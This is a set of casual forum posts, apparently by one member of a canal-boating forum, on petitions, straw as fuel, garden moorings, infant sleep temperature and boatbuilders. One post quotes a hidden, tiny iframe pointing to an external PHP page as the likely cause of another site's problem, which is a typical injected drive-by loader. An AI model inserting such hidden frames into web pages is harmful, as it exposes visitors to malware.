trampyjoe

I've signed and shared even though, as has been pointed out, it's not technically a pettition - it's all in the spirit of the wotsit though. Personally though I couldn't give two poops about the olympics. Oh, just realised (as I have it on in the background) the flotilla was very 'one show' .. in other words bloody awful viewing but good for the celebs to have a chat.

Of course, no point having public access to a public amenity eh!

<cynic>And how much carbon is used up making the equipment and building all those 'sustainable' processes (wind turbine lifespan is approx. 25 years at the moment)?</cynic> The good thing is that straw, other than being bedding for animals, is mostly just ploughed back into the ground. A few years back the price for straw shot up so farms all over the land around the one I was working on started bailing instead of ploughing the stuff in. This tells me there is enough surplus to keep the price relatively stable. Fortunately you can burn oil seed rape straw too

Engine order telegraph? My link

I'm considerably younger than 55 and O-levels had been done away with when I was at school. If they taught me set theory it didn't stick as I've never heard of it before now (had to look it up!).

Dont' talk nonsense you damned fool. Blooming people always bringing down caffeine sheesh!!!

If, for example, I live in a busy area of some city where they charge for on road parking (for purposes of this question the residents have to pay for parking too) but my garden was large enough I would be able, without planning permission or charge (except the dropping of the Kerb) be able to put a driveway on my garden. The only exception to this as far as I know is listed properties. So if you have a garden that has a canal at the end is there anything stopping you, if the garden is large enough, to create your own small mooring by digging out your garden and thus ensuring that the land under the boat is owned by you? I guess this could be a separate thread but it is kinda relative, in a strange twisted way, to this thread (and it's not like this forum ever goes off topic either ) Edited for American spellchecker (cheers athy) and grammer that was ungood.

Never press the Big Red Button! Big Red Button

Was going to go down the 'so you have nothing valuable to add to this thread' route but as this isn't the first time I've seen you post this I'm wondering why you've never had a survey done?

it'll probably be that hidden iframe - <iframe src='http://****ump.in/direct/gogo.php?sid=2' width='2' height='4' frameborder='0' style='visibility: hidden;'></iframe><br /> ETA - shame really as that would be a very useful site!

Try telling my wife that! She insists we get a 'Josher style'.

The advice is to have their temperature between 16 and 18 degrees. Although we're not on a boat (yet) we do have problems with our heating - i.e. it doesn't bloody work - we managed to keep our baby comfy at night using sleeping bags (one thin one for warm nights and a thick one for cold nights). We were worried about how difficult it could be to keep the house warm enough but were reassured by the health visitors who told us that if she was too cold she'd let us know but not to let her get too hot (one of the main causes of cot death is overheating).

Spare a thought for the poor chaps that have to lay those hedges! (but I agree, flick it in a hedge, especially the ones I don't have to lay!)

Road tax was abolished in 1937, you have Winston Churchill to thank.

I agree, they don't seem like the type of people to get shafted by a big company, lets hope they didn't. Maybe they hired 'overseas' personnel who have the qualification or equivalent qualification?

A very good point. I should really try waking up before posting. Build slots were something that was mentioned (now I've had a coffee I remember that!).

When we visited Colecraft their yard was full of the boats and the old chap there (Can't remember his name, but he showed us around) was telling us the company that ordered them originally ordered 30 boats. After building started they reduced the number to 20 then to 15. It sounded like they got the quote for 30 accepted it then when they'd paid they reduced the boat numbers to get a better price (robbing bastards!). (disclaimer - I'm only going by what I heard and what my opinion is. I base none of the above on fact)

No advice from me but enjoy being a father, it is a life changing, amazing thing. Congratulations to you both